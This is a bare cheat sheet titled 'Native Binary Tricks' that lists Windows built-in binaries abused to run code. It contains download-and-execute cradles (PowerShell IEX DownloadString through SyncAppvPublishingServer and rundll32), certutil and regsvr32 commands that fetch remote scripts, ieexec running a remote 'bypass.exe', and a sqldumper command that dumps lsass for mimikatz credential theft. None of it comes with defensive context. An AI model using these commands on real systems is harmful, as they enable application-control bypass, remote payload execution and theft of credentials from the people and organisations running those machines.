Native Binary Tricks

forfiles /p c:\\windows\\system32 /m notepad.exe /c calc.exe 

bash.exe -c calc.exe

scriptrunner.exe -appvscript calc.exe

SyncAppvPublishingServer.exe "n;((New-Object Net.WebClient).DownloadString('[http://some.url/script.ps1'](http://some.url/script.ps1')) | IEX

hh.exe [http://www.google.com](http://www.google.com) or hh.exe c:\\

certutil -Class scrobj.dll
certutil -Class [http://WScript.Shell](http://WScript.Shell)
certutil -urlcache -split -f [http://example.com/file](http://example.com/file) 
certutil.exe -URL will fetch ANY file and download it here: %userprofile%\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content

rundll32.exe javascript:"..\\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('[http://ip:port/'](http://ip:port/'));"

regsvr32 /s /n /u /i:[http://example.com/file.sct](http://example.com/file.sct) scrobj.dll

msbuild.exe pshell.xml

regsvcs.exe /U regsvcs.dll regsvcs.exe regsvcs.dll

regasm.exe /U regsvcs.dll regasm.exe regsvcs.dll

bginfo.exe bginfo.bgi /popup /nolicprompt

InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

ieexec.exe [http://x.x.x.x:8080/bypass.exe](http://x.x.x.x:8080/bypass.exe)

msxsl.exe customers.xml script.xsl

odbcconf.exe /f my.rsp

sqldumper.exe 464 0 0x0110:40  - Dump lsass to mimikatz comp. dump

sqldumper.exe 540 0 0x01100

pcalua.exe-a c:\\datafolder\\tester.bat
pcalua.exe -a \\\\server\\payload.dll
pcalua.exe -a C:\\Windows\\system32\\javacpl.cpl -c Java